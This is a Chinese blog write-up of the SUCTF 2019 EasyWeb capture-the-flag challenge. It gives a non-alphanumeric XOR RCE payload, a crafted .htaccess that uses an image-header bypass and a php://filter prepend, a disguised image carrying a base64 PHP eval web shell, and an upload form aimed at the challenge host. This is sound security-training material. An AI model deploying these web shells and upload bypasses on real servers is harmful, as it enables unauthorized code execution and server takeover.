Loading

[BUUCTF题解][SUCTF 2019]EasyWeb

### 知识点

  • .htaccess文件利用
  • 无字符rce

过程

打开题目就能看到源码,倒也不需要搜集信息了。

image-20220403173348751

很显然需要通过无字符RCE去调用上面的get_the_flag函数(长度限制导致也用不了其他的)。看到这个长度限制,可以考虑构造$_GET[]();的格式来调用,此处[]被过滤可以采用{}来替代也是一样的。

这里直接采用脚本生成payload,(脚本见:[NEW][BUUCTF题解][极客大挑战 2019]RCE ME - Article_kelp - 博客园 (cnblogs.com))。

?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

从phpinfo页面可以找到如下的信息(之后再用,现在先列举出来):

image-20220403174805629

image-20220403174749428

接下来就可以考虑get_the_flag函数的内容了,该函数主要是写入文件,但是有限制,既文件名不能包含ph问价内容也不能包含<?,这里可以采用.htaccess(phpinfo页面可以看出这是apache服务器),通过其php_value auto_append_file指定文件被PHP包含,通过AddType application/x-httpd-php指定文件被解析,此外这条配置是兼容php伪协议的,所以我们可以采用php://filter伪协议进行base64编码处理,这样就能绕过对<?的检测了。

至于exif_imagetype对问价内容检测可以通过添加文件头幻术来绕过,.htaccess中#作为注释,所以可以采用XBM文件的,而上传的PHP代码文件可以添加更为方便的GIF文件的。

.htaccess文件内容:

#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./poc.jpg"
AddType application/x-httpd-php .jpg

poc.jpg文件内容(因为base64按4位一解码故文件幻数头补上2位):

GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

这里上传文件用PHP代码实现:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<!--题目链接-->
<form action="http://8d22cfbb-0ec0-42f4-b27f-de6d04423133.node4.buuoj.cn:81/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="file" id="postedFile"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传完成后获得的路径如下:

upload/tmp_cc551ab005b2e60fbdc88de809b2c4b1/.htaccess
upload/tmp_cc551ab005b2e60fbdc88de809b2c4b1/poc.jpg

用蚁剑连上。

image-20220403193637642

接下来就需要考虑之前phpinfo中看到的关于open_basedirdisable_function的限制了,这里新建个php文件用通用的函数组合来绕过限制。

image-20220403194553798

image-20220403194611857

找到flag,在上面的php文件中加上读取的语句就能获得flag了。

image-20220403194737377

image-20220403194748698

posted @ 2022-04-03 19:50  Article_kelp  阅读(474)  评论(0编辑  收藏  举报